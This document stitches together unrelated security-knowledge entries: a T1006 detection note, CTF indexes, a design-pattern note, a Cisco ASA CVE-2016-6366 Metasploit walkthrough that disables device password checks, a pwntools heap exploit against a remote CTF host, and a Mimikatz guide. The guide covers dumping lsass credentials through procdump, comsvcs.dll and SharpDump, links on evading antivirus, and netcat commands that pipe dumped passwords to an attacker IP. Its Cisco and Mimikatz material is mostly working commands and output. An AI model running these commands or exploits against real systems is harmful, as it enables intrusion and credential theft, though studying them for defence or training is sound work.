ëRNTFS PS C:\Windows\system32> ``` ## 日志留痕 暂无 ## 检测规则/思路 ### 建议 监控处理由进程打开的驱动器卷,以确定它们何时可以直接访问逻辑驱动器。 监控进程和命令行参数,看是否有可能采取行动从逻辑驱动器复制文件并规避普通文件系统保护。由于这种技术也可能通过PowerShell使用,建议对PowerShell脚本进行额外的记录。 ## 参考推荐 MITRE-ATT&CK-T1006 <https://attack.mitre.org/techniques/T1006> Atomic-red-team-T1006 <https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1006>
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- # Cisco ASA - CVE-2016-6366 > A vulnerability in the Simple Network Management Protocol (SNMP) code of Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, remote attacker to cause a reload of the affected system or to remotely execute code. > The vulnerability is due to a buffer overflow in the affected code area. The vulnerability affects all versions of SNMP (versions 1, 2c, and 3) when enabled on a virtual or physical Cisco ASA device. An attacker could exploit this vulnerability by sending crafted SNMP packets to an SNMP-enabled interface on the affected system. An exploit could allow the attacker to execute arbitrary code and obtain full control of the system or to cause a reload of the affected system. The attacker must know the SNMP community string to exploit this vulnerability. > Note: Only traffic directed to the affected system can be used to exploit this vulnerability. This vulnerability affects systems configured in routed and transparent firewall mode only and in single or multiple context mode. This vulnerability can be triggered by IPv4 traffic only. The attacker requires knowledge of the configured SNMP community string in SNMP version 1 and SNMP version 2c or a valid username and password for SNMP version 3. > Cisco has released software updates that address this vulnerability. Mitigations are listed in the Workarounds section of this advisory. ## How to login in Cisco ASA ? If you known nothing about the Cisco ASA device, please try to discovery something useful with [**nmap**](https://nmap.org/) or custom tools/methods. If snmp is enabled, we can try to crack the password with metasploit. ``` msf auxiliary(snmp_login) > set PASSWORD public PASSWORD => public msf auxiliary(snmp_login) > set RHOSTS 192.168.206.114 RHOSTS => 192.168.206.114 msf auxiliary(snmp_login) > run [+] 192.168.206.114:161 - LOGIN SUCCESSFUL: public (Access level: read-write); Proof (sysDescr.0): Cisco Adaptive Security Appliance Version 9.2(1) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` Now, CVE-2016-6366 can help us exploit remote cisco device. ``` msf auxiliary(cisco_asa_extrabacon) > show options Module options (auxiliary/admin/cisco/cisco_asa_extrabacon): Name Current Setting Required Description ---- --------------- -------- ----------- COMMUNITY public yes SNMP Community String MODE pass-disable yes Enable or disable the password auth functions (Accepted: pass-disable, pass-enable) RETRIES 1 yes SNMP Retries RHOST 192.168.206.114 yes The target address RPORT 161 yes The target port TIMEOUT 1 yes SNMP Timeout msf auxiliary(cisco_asa_extrabacon) > run [*] Building pass-disable payload for version 9.2(1)... [*] Sending SNMP payload... [+] Clean return detected! [!] Don't forget to run pass-enable after logging in! [*] Auxiliary module execution completed ``` If exploit successully, please try to login it with telnet. The attacker can login into the cisco device with no password. ``` $ telnet 192.168.206.114 ciscoasa> ? clear Reset functions enable Turn on privileged commands exit Exit from the EXEC help Interactive help for commands login Log in as a particular user logout Exit from the EXEC no Negate a command or set its defaults ping Send echo messages quit Exit from the EXEC show Show running system information traceroute Trace route to destination ``` ## How to check cisco version ? ``` ciscoasa> show version Cisco Adaptive Security Appliance Software Version 9.2(1) Device Manager Version 7.2(1) Compiled on Thu 24-Apr-14 12:14 PDT by builders System image file is "boot:/asa921-smp-k8.bin" Config file at boot was "startup-config" ciscoasa up 2 hours 25 mins Hardware: ASAv, 2048 MB RAM, CPU Pentium II 2793 MHz, Internal ATA Compact Flash, 256MB Slot 1: ATA Compact Flash, 8192MB BIOS Flash Firmware Hub @ 0x1, 0KB 0: Ext: Management0/0 : address is 000c.29a9.88d6, irq 10 1: Ext: GigabitEthernet0/0 : address is 000c.29a9.88e0, irq 5 2: Ext: GigabitEthernet0/1 : address is 000c.29a9.88ea, irq 9 3: Ext: GigabitEthernet0/2 : address is 000c.29a9.88f4, irq 10 ASAv Platform License State: Unlicensed *Install -587174176 vCPU ASAv platform license for full functionality. The Running Activation Key is not valid, using default settings: Licensed features for this platform: Virtual CPUs : 0 perpetual Maximum Physical Interfaces : 10 perpetual Maximum VLANs : 50 perpetual Inside Hosts : Unlimited perpetual Failover : Active/Standby perpetual Encryption-DES : Enabled perpetual Encryption-3DES-AES : Enabled perpetual Security Contexts : 0 perpetual GTP/GPRS : Disabled perpetual AnyConnect Premium Peers : 2 perpetual AnyConnect Essentials : Disabled perpetual Other VPN Peers : 250 perpetual Total VPN Peers : 250 perpetual Shared License : Disabled perpetual AnyConnect for Mobile : Disabled perpetual AnyConnect for Cisco VPN Phone : Disabled perpetual Advanced Endpoint Assessment : Disabled perpetual UC Phone Proxy Sessions : 2 perpetual Total UC Proxy Sessions : 2 perpetual Botnet Traffic Filter : Enabled perpetual Intercompany Media Engine : Disabled perpetual Cluster : Disabled perpetual This platform has an ASAv VPN Premium license. Serial Number: 9ATJDXTHK3B Running Permanent Activation Key: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000 Image type : Release Key version : A Configuration last modified by enable_15 at 10:12:25.439 UTC Mon Sep 26 2016 ``` ## How to enter into privilege mode ? **enable** can be used to enter cisco config mode. Normally, the **password** is null. ``` ciscoasa> help enable USAGE: enable [<priv_level>] DESCRIPTION: enable Turn on privileged commands ciscoasa> enable ? <0-15> Enter optional privilege level (0-15) <cr> ciscoasa> enable Password: ciscoasa# configure terminal ciscoasa(config)# ? aaa Enable, disable, or view user authentication, authorization and accounting aaa-server Configure a AAA server group or a AAA server access-group Bind an access-list to an interface to filter traffic access-list Configure an access control element arp Change or view ARP table, set ARP timeout value, view statistics as-path BGP autonomous system path filter asdm Configure Device Manager asp Configure ASP parameters auth-prompt Customize authentication challenge, reject or acceptance prompt auto-update Configure Auto Update banner Configure login/session banners bgp-community format for BGP community boot Set system boot parameters ca Certification authority call-home Smart Call-Home Configuration checkheaps Configure checkheap verification intervals class-map Configure MPF Class Map clear Clear client-update Configure and change client update parameters clock Configure time-of-day clock cluster Cluster configuration command-alias Create command alias community-list Add a community list entry compression Configure global Compression parameters configure Configure using various methods console Serial console functions coredump Configure Coredump options crashinfo Enable/Disable writing crashinfo to flash crypto Configure IPSec, ISAKMP, Certification authority, key ctl-file Configure a ctl-file instance ctl-provider Configure a CTL Provider instance cts Cisco Trusted Security commands ddns Configure dynamic DNS update method dhcp-client Configure parameters for DHCP client operation dhcpd Configure DHCP Server dhcprelay Configure DHCP Relay Agent dns Add DNS functionality to an interface dns-group Set the global DNS server group dns-guard Enforce one DNS response per query domain-name Change domain name dynamic-access-policy-record Dynamic Access Policy configuration commands dynamic-filter Configure Dynamic Filter dynamic-map Configure crypto dynamic map enable Configure password for the enable command end Exit from configure mode established Allow inbound connections based on established connections event Configure event manager exit Exit from config mode failover Enable/disable failover feature filter Enable or disable URL, FTP, HTTPS, Java, and ActiveX filtering fips FIPS 140-2 compliance information firewall Switch to router/transparent mode fixup Add or delete inspection services flow-export Configure flow information export through NetFlow fragment Configure the IP fragment database ftp Set FTP mode ftp-map Configure advanced options for FTP inspection group-delimiter The delimiter for tunnel-group lookup. group-policy Configure or remove a group policy gtp-map Configure advanced options for GTP inspection h225-map Configure advanced options for H225 inspection help Interactive help for commands hostname Change host name of the system hpm Configure TopN host statistics collection http Configure http server and https related commands http-map This command has been deprecated. icmp Configure access rules for ICMP traffic imap4s Configure the imap4s service interface Select an interface to configure ip Configure IP address pools ip Configure IP addresses, address pools, IDS, etc ipsec Configure transform-set, IPSec SA lifetime and PMTU Aging reset timer ipv6 Configure IPv6 address pools ipv6 Global IPv6 configuration commands ipv6-vpn-addr-assign Global settings for VPN IP address assignment policy isakmp Configure ISAKMP options jumbo-frame Configure jumbo-frame support key Create various configuration keys l2tp Configure Global L2TP Parameters ldap Configure LDAP Mapping logging Configure logging levels, recipients and other options logout Logoff from config mode mac-address MAC address options mac-list Create a mac-list to filter based on MAC address management-access Configure management access interface map Configure crypto map media-termination Configure a media-termination instance mgcp-map Configure advanced options for MGCP inspection migrate Migrate IKEv1 configuration to IKEv2/SSL monitor-interface Enable or disable failover monitoring on a specific interface mount Configure a system mount mroute Configure static multicast routes mtu Specify MTU(Maximum Transmission Unit) for an interface multicast-routing Enable IP multicast name Associate a name with an IP address names Enable/Disable IP address to name mapping nat Associate a network with a pool of global IP addresses no Negate a command or set its defaults ntp Configure NTP nve Configure an Network Virtulization Endpoint (NVE) object Configure an object object-group Create an object group for use in 'access-list', etc object-group-search Enables object group search algorithm pager Control page length for pagination passwd Change Telnet console access password password Configure password encryption password-policy Configure password policy options phone-proxy Configure a Phone proxy instance pim Configure Protocol Independent Multicast policy-list Define IP Policy list policy-map Configure MPF Parameter Map pop3s Configure the pop3s service prefix-list Build a prefix list priority-queue Enter sub-command mode to set priority-queue attributes privilege Configure privilege levels for commands prompt Configure session prompt display quit Exit from config mode quota Configure quotas regex Define a regular expression remote-access Configure SNMP trap threshold for VPN remote-access sessions route Configure a static route for an interface route-map Create route-map or enter route-map configuration mode router Enable a routing process same-security-traffic Enable same security level interfaces to communicate scansafe Scansafe configuration service Configure system services service-interface service-interface for dynamic interface types service-policy Configure MPF service policy setup Pre-configure the system sla IP Service Level Agreement smtp-server Configure default SMTP server address to be used for Email smtps Configure the smtps service snmp Configure the SNMP options snmp-map Configure an snmp-map, to control the operation of the SNMP inspection snmp-server Modify SNMP engine parameters ssh Configure SSH options ssl Configure SSL options sunrpc-server Create SUNRPC services table sysopt Set system functional options tcp-map Configure advanced options for TCP inspection telnet Add telnet access to system console or set idle timeout terminal Set terminal line parameters tftp-server Configure default TFTP server address and directory threat-detection Show threat detection information time-range Define time range entries timeout Configure maximum idle times tls-proxy Configure a TLS proxy instance or the maximum sessions track Object tracking configuration commands tunnel-group Create and manage the database of connection specific records for IPSec connections tunnel-group-map Specify policy by which the tunnel-group name is derived from the content of a certificate. uc-ime Configure a Cisco Intercompany Media Engine (UC-IME) instance url-block Enable URL pending block buffer and long URL support url-cache Enable/Disable URL caching url-server Configure a URL filtering server user-identity Configure user-identity firewall username Configure user authentication local database virtual Configure address for authentication virtual servers vnmc Configure VNMC params vpdn Configure VPDN feature vpn Configure VPN parameters. vpn-addr-assign Global settings for VPN IP address assignment policy vpn-sessiondb Configure the VPN Session Manager vpnsetup Configure VPN Setup Commands vxlan Configure VXLAN system parameters wccp Web-Cache Coordination Protocol Commands webvpn Configure the WebVPN service xlate Configure an xlate option zonelabs-integrity ZoneLabs integrity Firewall Server Configuration ``` ## How to configure cisco interface ? ``` ciscoasa(config)# interface ? configure mode commands/options: GigabitEthernet GigabitEthernet IEEE 802.3z Management Management interface Redundant Redundant Interface TVI Tenant Virtual Interface vni VNI Interface <cr> ciscoasa(config)# interface GigabitEthernet ? configure mode commands/options: <0-0> GigabitEthernet interface number ciscoasa(config)# interface GigabitEthernet 0/? configure mode commands/options: <0-2> GigabitEthernet interface number ciscoasa(config)# interface GigabitEthernet 0/0 ``` ## How to set ip address ? ``` ciscoasa(config-if)# ? Interface configuration commands: authentication authentication subcommands ddns Configure dynamic DNS default Set a command to its defaults delay Specify interface throughput delay description Interface specific description dhcp Configure parameters for DHCP client dhcprelay Configure DHCP Relay Agent duplex Configure duplex operation exit Exit from interface configuration mode flowcontrol Configure flowcontrol operation hello-interval Configures EIGRP-IPv4 hello interval help Interactive help for interface subcommands hold-time Configures EIGRP-IPv4 hold time igmp IGMP interface commands ip Configure the ip address ipv6 IPv6 interface subcommands mac-address Assign MAC address to interface management-only Dedicate an interface to management. Block thru traffic mfib Interface Specific MFIB Control multicast Configure multicast routing nameif Assign name to interface no Negate a command or set its defaults ospf OSPF interface commands pim PIM interface commands pppoe Configure parameters for PPPoE client rip Router Information Protocol security-level Specify the security level of this interface after this keyword, Eg: 0, 100 etc. The relative security level between two interfaces determines the way the Adaptive Security Algorithm is applied. A lower security_level interface is outside relative to a higher level interface and equivalent interfaces are outside to each other shutdown Shutdown the selected interface speed Configure speed operation split-horizon Configures EIGRP-IPv4 split-horizon summary-address Configures EIGRP-IPv4 summary-address ``` ``` ciscoasa(config-if)# ip address ? interface mode commands/options: Hostname or A.B.C.D Firewall's network interface address dhcp Keyword to use DHCP to poll for information. Enables the DHCP client feature on the specified interface pppoe Keyword to use PPPoE to poll for information. Enables the PPPoE client feature on the specified interface ciscoasa(config)# ip address 192.168.206.114 255.255.255.0 ciscoasa(config-if)# no shutdown ciscoasa(config-if)# exit ciscoasa(config)# exit ciscoasa# ping 192.168.206.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.206.1, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/10 ms ``` ## How to enable snmp service ? ``` ciscoasa# configure terminal ciscoasa(config)# snmp-server host inside 192.168.206.1 community 0 public ``` ## How to enable enable SSH service ? ``` ciscoasa# configure terminal ciscoasa(config)# username admin password password ciscoasa(config)# aaa authentication ssh console LOCAL ciscoasa(config)# passwd password ciscoasa(config)# crypto key generate rsa ? configure mode commands/options: general-keys Generate a general purpose RSA key pair for signing and encryption label Provide a label modulus Provide number of modulus bits on the command line noconfirm Specify this keyword to suppress all interactive prompting. usage-keys Generate seperate RSA key pairs for signing and encryption <cr> ciscoasa(config)# crypto key generate rsa modulus ? configure mode commands/options: 1024 1024 bits 2048 2048 bits 4096 4096 bits 512 512 bits 768 768 bits ciscoasa(config)# ssh 192.168.206.1 255.255.255.0 inside ciscoasa(config)# ssh 192.168.206.137 255.255.255.0 inside ciscoasa(config)# ssh version 2 ``` ## How to enable Telnet service ? ``` ciscoasa# configure terminal ciscoasa(config)# aaa authentication telnet console LOCAL ciscoasa(config)# telnet 0.0.0.0 0.0.0.0 inside ``` # Links 1. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp 2. http://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/118075-configure-asa-00.html 3. https://github.com/RiskSense-Ops/CVE-2016-6366/ 4. http://paper.seebug.org/31/
sec-knowleage
# Hacker101 CTF ## 0x00 Overview [Hacker101 CTF][1] is part of HackerOne free online training program. Really a good place to apply all the pen test skills for beginners. ## 0x01 CTF | Difficulty | Name | Skills | Completion | | ---------- | ------------------------------------------------- | ------------ | ---------- | | Trivial | [A little something to get you started][2] | Web | 1 / 1 | | Easy | [Micro-CMS v1][3] | Web | 4 / 4 | | Moderate | [Micro-CMS v2][5] | Web | 3 / 3 | | Hard | [Encrypted Pastebin][12] | Web, Crypto | 1 / 4 | | Moderate | [Photo Gallery][10] | Web | 3 / 3 | | Moderate | [Cody's First Blog][8] | Web | 3 / 3 | | Easy | [Postbook][6] | Web | 7 / 7 | | Moderate | [Ticketastic: Demo Instance][9] | Web | 0 / 0 | | Moderate | [Ticketastic: Live Instance][9] | Web | 2 / 2 | | Easy | [Petshop Pro][7] | Web | 3 / 3 | | Hard | [Model E1337 - Rolling Code Lock][13] | Web, Math | 1 / 2 | | Moderate | [TempImage][4] | Web | 2 / 2 | | Easy | [H1 Thermostat][11] | Android | 2 / 2 | | Expert | [Model E1337 v2 - Hardened Rolling Code Lock][14] | Math | 0 / 1 | | Moderate | [Intentional Exercise][15] | Android | 1 / 1 | | Moderate | [Hello World!][16] | Native | 1 / 1 | | Expert | [Rend Asunder][17] | Native | 1 / 3 | | Easy | [BugDB v1][18] | Web, GraphQL | 1 / 1 | | Easy | [BugDB v2][19] | Web, GraphQL | 1 / 1 | | Moderate | [BugDB v3][20] | Web, GraphQL | 1 / 1 | | Moderate | [Oauthbreaker][21] | Android | 0 / 2 | | Moderate | [Mobile Webdev][22] | Android | 0 / 2 | | Moderate | [XSS Playground by zseano][23] | Web | 0 / 1 | | Moderate | [OSU CTF][24] | Web | 0 / 1 | | Moderate | [Grayhatcon CTF][25] | Web | 0 / 4 | | Moderate | [RTFM][26] | Web | 0 / 8 | | Moderate | [Hackyholidays CTF][27] | Web | 0 / 12 | | Moderate | [Y2FuIHlvdSByZWNvbj8/][28] | Web, Recon | 0 / 3 | [1]: https://ctf.hacker101.com/ [2]: ./a_little_something_to_get_you_started [3]: ./micro-cms_v1 [4]: ./tempimage [5]: ./micro-cms_v2 [6]: ./postbook [7]: ./petshop_pro [8]: ./codys_first_blog [9]: ./ticketastic_live_instance [10]: ./photo_gallery [11]: ./h1_thermostat [12]: ./encrypted_pastebin [13]: ./model_e1337-rolling_code_lock [14]: ./model_e1337_v2-hardened_rolling_code_lock [15]: ./intentional_exercise [16]: ./hello_world [17]: ./rend_asunder [18]: ./bugdb_v1 [19]: ./bugdb_v2 [20]: ./bugdb_v3 [21]: ./oauthbreaker [22]: ./mobile_webdev [23]: ./xss_playground_by_zseano [24]: ./osu_ctf [25]: ./grayhatcon_ctf [26]: ./rtfm [27]: ./hackyholidays_ctf [28]: ./Y2FuIHlvdSByZWNvbj8/
sec-knowleage
#!/usr/bin/python3 from pwn import * def exploit(connection): def recv_request(): request_id = u64(connection.recvn(8)) data = connection.recvn(0x20) return request_id, data def send_response(request_id, data): connection.send(p64(request_id)) if len(data) != 0x20: raise Exception connection.send(data) count = 0x10 requests = list() for _ in range(count): request_id, data = recv_request() requests.append((request_id, data)) first_va, _ = requests[0] second_va, _ = requests[1] if first_va - second_va != 0x40: raise NotImplementedError() # Write first fake `hash_rpc_context` structure to server heap buffer = BytesIO() buffer.write(b"A" * 8) buffer.write(p64(0x6861736822686f6d)) buffer.write(p64(2)) buffer.write(p64(0)) send_response(second_va, buffer.getvalue()) recv_request() # Write second fake `hash_rpc_context` structure to server heap buffer = BytesIO() buffer.write(b"B" * 8) buffer.write(p64(0x6861736822686f6d)) buffer.write(p64(2)) buffer.write(p64(first_va - count * 0x40 - 0x18)) send_response(second_va + 0x20, buffer.getvalue()) recv_request() # Zeroize `data_to_hash` send_response(first_va, b"\x00" * 0x20) recv_request() # Trigger `hash_together_the_first_two` send_response(first_va, b"C" * 0x20) _, data = recv_request() info("flag = %s", data.rstrip(b"\x00")) context.log_level = "debug" with remote("35.230.128.35", 1337) as connection: exploit(connection)
sec-knowleage
## 工厂方法(Factory Method) ### Intent 定义了一个创建对象的接口,但由子类决定要实例化哪个类。工厂方法把实例化操作推迟到子类。 ### Class Diagram 在简单工厂中,创建对象的是另一个类,而在工厂方法中,是由子类来创建对象。 下图中,Factory 有一个 doSomething() 方法,这个方法需要用到一个产品对象,这个产品对象由 factoryMethod() 方法创建。该方法是抽象的,需要由子类去实现。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f4d0afd0-8e78-4914-9e60-4366eaf065b5.png"/> </div><br> ### Implementation ```java public abstract class Factory { abstract public Product factoryMethod(); public void doSomething() { Product product = factoryMethod(); // do something with the product } } ``` ```java public class ConcreteFactory extends Factory { public Product factoryMethod() { return new ConcreteProduct(); } } ``` ```java public class ConcreteFactory1 extends Factory { public Product factoryMethod() { return new ConcreteProduct1(); } } ``` ```java public class ConcreteFactory2 extends Factory { public Product factoryMethod() { return new ConcreteProduct2(); } } ``` ### JDK - [java.util.Calendar](http://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#getInstance--) - [java.util.ResourceBundle](http://docs.oracle.com/javase/8/docs/api/java/util/ResourceBundle.html#getBundle-java.lang.String-) - [java.text.NumberFormat](http://docs.oracle.com/javase/8/docs/api/java/text/NumberFormat.html#getInstance--) - [java.nio.charset.Charset](http://docs.oracle.com/javase/8/docs/api/java/nio/charset/Charset.html#forName-java.lang.String-) - [java.net.URLStreamHandlerFactory](http://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandlerFactory.html#createURLStreamHandler-java.lang.String-) - [java.util.EnumSet](https://docs.oracle.com/javase/8/docs/api/java/util/EnumSet.html#of-E-) - [javax.xml.bind.JAXBContext](https://docs.oracle.com/javase/8/docs/api/javax/xml/bind/JAXBContext.html#createMarshaller--)
sec-knowleage
# Securinets CTF Quals 2018 Team: shalom, akrasuski1, psrok1, nazywam, sasza ### Table of contents * [The worst RSA joke (crypto)](crypto_worst_rsa) * [Looser (crypto)](crypto_looser) * [Improve the quality (crypto)](crypto_quality) * [Notice me (forensics)](for_notice) * [Magic test (web)](web_magic) * [Special (pwn)](pwn_special) * [Tic Tac Toe (web/misc)](web_tictactoe) * [No mercy (pwn)](pwn_no_mercy) * [Lone author (forenics)](for_lone)
sec-knowleage
# Mimikatz <p align="center"> <img src="../../../assets/img/logo/mimikatz.jpg" width="25%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **项目地址** - https://github.com/gentilkiwi/mimikatz **文章 & Reference** - [九种姿势运行 Mimikatz](https://www.freebuf.com/articles/web/176796.html) - [Mimikatz 使用小技巧](https://www.webshell.cc/5343.html) - [域渗透——Dump Clear-Text Password after KB2871997 installed](https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Dump%20Clear-Text%20Password%20after%20KB2871997%20installed.html) - [【红蓝对抗】内网渗透-免杀抓取windows hash](https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg) - [Mimikatz的18种免杀姿势及防御策略(上)](https://mp.weixin.qq.com/s/CiOaMnJBcEQfZXV_hopzLw) - [Mimikatz的18种免杀姿势及防御策略(下)](https://mp.weixin.qq.com/s/0p88rj-tWClLa_geKMkPgw) - [防御Mimikatz攻击的方法介绍](https://www.freebuf.com/articles/network/180869.html) - [获取Windows高版本明文密码](https://mp.weixin.qq.com/s/Q-JBDdt6jPi9fawlGAiHzg) - [红队技巧:绕过ESET_NOD32抓取密码](https://mp.weixin.qq.com/s/FaiNEUX2wcscotkyAqUO2Q) - [Exploring Mimikatz - Part 1 - WDigest](https://blog.xpnsec.com/exploring-mimikatz-part-1/) - [Mimikatz中sekurlsa::wdigest的实现](https://3gstudent.github.io/3gstudent.github.io/Mimikatz%E4%B8%ADsekurlsa-wdigest%E7%9A%84%E5%AE%9E%E7%8E%B0/) - [Exploring Mimikatz - Part 2 - SSP](https://blog.xpnsec.com/exploring-mimikatz-part-2/) - [深入分析Mimikatz:SSP](https://www.anquanke.com/post/id/180001) - [《MiniDumpWriteDump via COM+ Services DLL》的利用测试](https://3gstudent.github.io/3gstudent.github.io/MiniDumpWriteDump-via-COM+-Services-DLL-%E7%9A%84%E5%88%A9%E7%94%A8%E6%B5%8B%E8%AF%95/) - [Extract credentials from lsass remotely](https://en.hackndo.com/remote-lsass-dump-passwords/) - [缓解Mimikatz风格攻击](https://xz.aliyun.com/t/4180) - [你真的了解LSA Protection (RunAsPPL)吗?](https://mp.weixin.qq.com/s/7DmfWMHjLXTfCHdoOWQ5qA) - [从svchost.exe转储RDP在线用户的明文密码](https://mp.weixin.qq.com/s/8UU-w6J7JaNLn7lE1mTHZA) - [读取lsass.dmp报错](http://hone.cool/2018/05/23/%E8%AF%BB%E5%8F%96lsass-dmp%E6%96%87%E4%BB%B6%E6%8A%A5%E9%94%99/) **辅助项目** - [skelsec/pypykatz](https://github.com/skelsec/pypykatz) - 纯 Python 的 Mimikatz 实现,Runs on all OS's which support python>=3.6 ``` pypykatz lsa minidump lsass.dmp ``` - [3gstudent/msbuild-inline-task](https://github.com/3gstudent/msbuild-inline-task) - 利用 MSBuild 执行 Mimikatz ``` cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 .\MSBuild.exe 1.xml ``` - [Stealthbits/poshkatz](https://github.com/Stealthbits/poshkatz) - PowerShell module for Mimikatz - [vyrus001/go-mimikatz](https://github.com/vyrus001/go-mimikatz) - JScript - [Instructions-to-mimikatz-js.txt](https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a) - JS 加载 Mimikatz ``` cscript mimikatz.js ``` - [xsl版](https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/mimikatz.xsl) ``` wmic os get /format:"mimikatz.xsl" wmic os get /FORMAT:"https://example.com/mimikatz.xsl" ``` - [sct版](https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/mimikatz.sct) - html - [Hacking the World with HTML](https://osandamalith.com/2020/07/19/hacking-the-world-with-html/) - [OsandaMalith/PE2HTML](https://github.com/OsandaMalith/PE2HTML) - [Hackndo/lsassy](https://github.com/Hackndo/lsassy) --- ## 基本使用 提权 ```bash privilege::debug # 获取调试权限 ``` 抓取密码 ```bash sekurlsa::logonpasswords ``` 如果你没有访问 lsass 进程的权限,那你就抓不到密码, 报错如下 ``` ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) ``` 输出 ```bash mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir # 记录 Mimikatz 输出 mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt # 输出到 log.txt ``` **parameter -patch** ``` privilege::debug lsadump::lsa /patch ``` **Token Elevation** 获得 MachineAccount 口令 hash ``` privilege::debug token::elevate lsadump::secrets ``` 输出 ```bash mimikatz.exe ""privilege::debug"" ""token::elevate"" ""lsadump::secrets"" exit >> log.txt ``` **MSCACHE** ``` privilege::debug lsadump::cache ``` **rdp** ``` privilege::debug vault::cred /patch ``` --- ## 离线抓取 (lsass dump) **相关文章** - [Win10及2012系统以后的明文抓取方式](https://www.anquanke.com/post/id/175364) - [Mimikatz明文密码抓取](https://uknowsec.cn/posts/notes/Mimikatz%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E6%8A%93%E5%8F%96.html) - [mimikatz-抓取windows明文密码](http://rtshield.top/2019/09/02/%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7-mimikatz-%E6%8A%93%E5%8F%96windows%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81/) - [利用Mimikatz提取虚拟机内存中的密码](https://www.freebuf.com/articles/system/44620.html) - [LSASS Memory Dumps are Stealthier than Ever Before](https://www.deepinstinct.com/2021/01/24/lsass-memory-dumps-are-stealthier-than-ever-before/) - [Lsass Memory Dumps are Stealthier than Ever Before - Part 2](https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/) - [渗透技巧——使用Mimilib从dump文件中导出口令](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BD%BF%E7%94%A8Mimilib%E4%BB%8Edump%E6%96%87%E4%BB%B6%E4%B8%AD%E5%AF%BC%E5%87%BA%E5%8F%A3%E4%BB%A4/) - [Mimikatz Against Virtual Machine Memory Part 1 Carnal0wnage](https://blog.carnal0wnage.com/2014/05/mimikatz-against-virtual-machine-memory.html) - [Mimikatz Against Virtual Machine Memory Part 2 Carnal0wnage](https://blog.carnal0wnage.com/2014/06/mimikatz-against-virtual-machine-memory.html) **远程传输** 输出传输到远程机器 ```bash # Attacker 执行 nc -lvp 4444 # Victim 执行 mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.1.1 4444 # 192.168.1.1 为Attacker IP ``` 通过 nc 远程执行 ```bash # Victim 执行 nc -lvp 443 # Attacker 执行 nc.exe -vv 192.168.1.2 443 -e mimikatz.exe # 192.168.1.2 为 Victim IP ``` ### 直接转储(Task Manager) 在任务管理器找到 lsass.exe,右键创建转储文件 ### ProcDump - https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump procdump 是微软的官方工具,不会被杀,所以如果你的 mimikatz 不免杀,可以用 procdump 导出 lsass.dmp 后拖回本地抓取密码来规避杀软。 ``` Procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` 也可以采用 pid 方式规避杀软 ``` tasklist /fi "imagename eq lsass.exe" procdump -accepteula -ma 640 lsass.dmp ``` 然后用 mimikatz 加载导出来的内存再抓 hash ``` sekurlsa::minidump c:\users\test\appdata\local\temp\lsass.dmp sekurlsa::logonpasswords full ``` ### PPLdump - https://github.com/itm4n/PPLdump ### SharpDump - [SharpDump](https://github.com/GhostPack/SharpDump) 在管理员权限下运行生成 debug480.bin 特别注意,dump 的文件默认是 bin 后缀,拖到本地机器以后,需要自行把 bin 重命名为 zip 的后缀,然后正常解压出里面的文件,再丢给 mimikatz 去读取即可,如下 mimikatz 加载 dump 文件 ```bash sekurlsa::minidump debug480 sekurlsa::logonPasswords full ``` 还有一些工具 - SqlDumper ```bash tasklist /svc | findstr lsass.exe # 查看lsass.exe 的PID号 # 或powershell 下 Get-Process lsass Sqldumper.exe ProcessID 0 0x01100 # 导出mdmp文件 ``` ### ComSvcs.dll 使用 `C:\windows\system32\comsvcs.dll` 的导出函数 MiniDump 能够 dump 指定进程的内存文件 在 dump 指定进程内存文件时,需要开启 SeDebugPrivilege 权限, 管理员权限的 cmd 下,默认支持 SeDebugPrivilege 权限,但是状态为 Disabled 直接在 cmd 下执行 rundll32 的命令尝试 dump 指定进程内存文件时,由于无法开启 SeDebugPrivilege 权限,所以会失败, 管理员权限的 powershell 下,默认支持 SeDebugPrivilege 权限,并且状态为 Enabled 所以可以通过 powershell 执行 rundll32 的命令实现 ```powershell Get-Process lsass powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 516 C:\lsass.dmp full" ``` ### windbg 中载入 mimilib 模块 可通过 notmyfault 强制蓝屏 - https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault ``` notmyfault64.exe -accepteula /crash ```` 也可以使用 Bin2Dmp 将 vmem 文件转为 dmp 文件 ``` Bin2Dmp.exe "Windows Server 2008 x64.vmem" win2k8.dmp ``` 在 windbg 中载入 dmp 文件 运行 `.symfix` ,然后执行 `.reload` 运行 `.load D:\xxx\mimilib.dll` windbg 中载入 mimilib 模块 `!process 0 0 lsass.exe` 查找 lsass 进程 `.process /r /p` 将镜像 lsass 环境转换到本机中 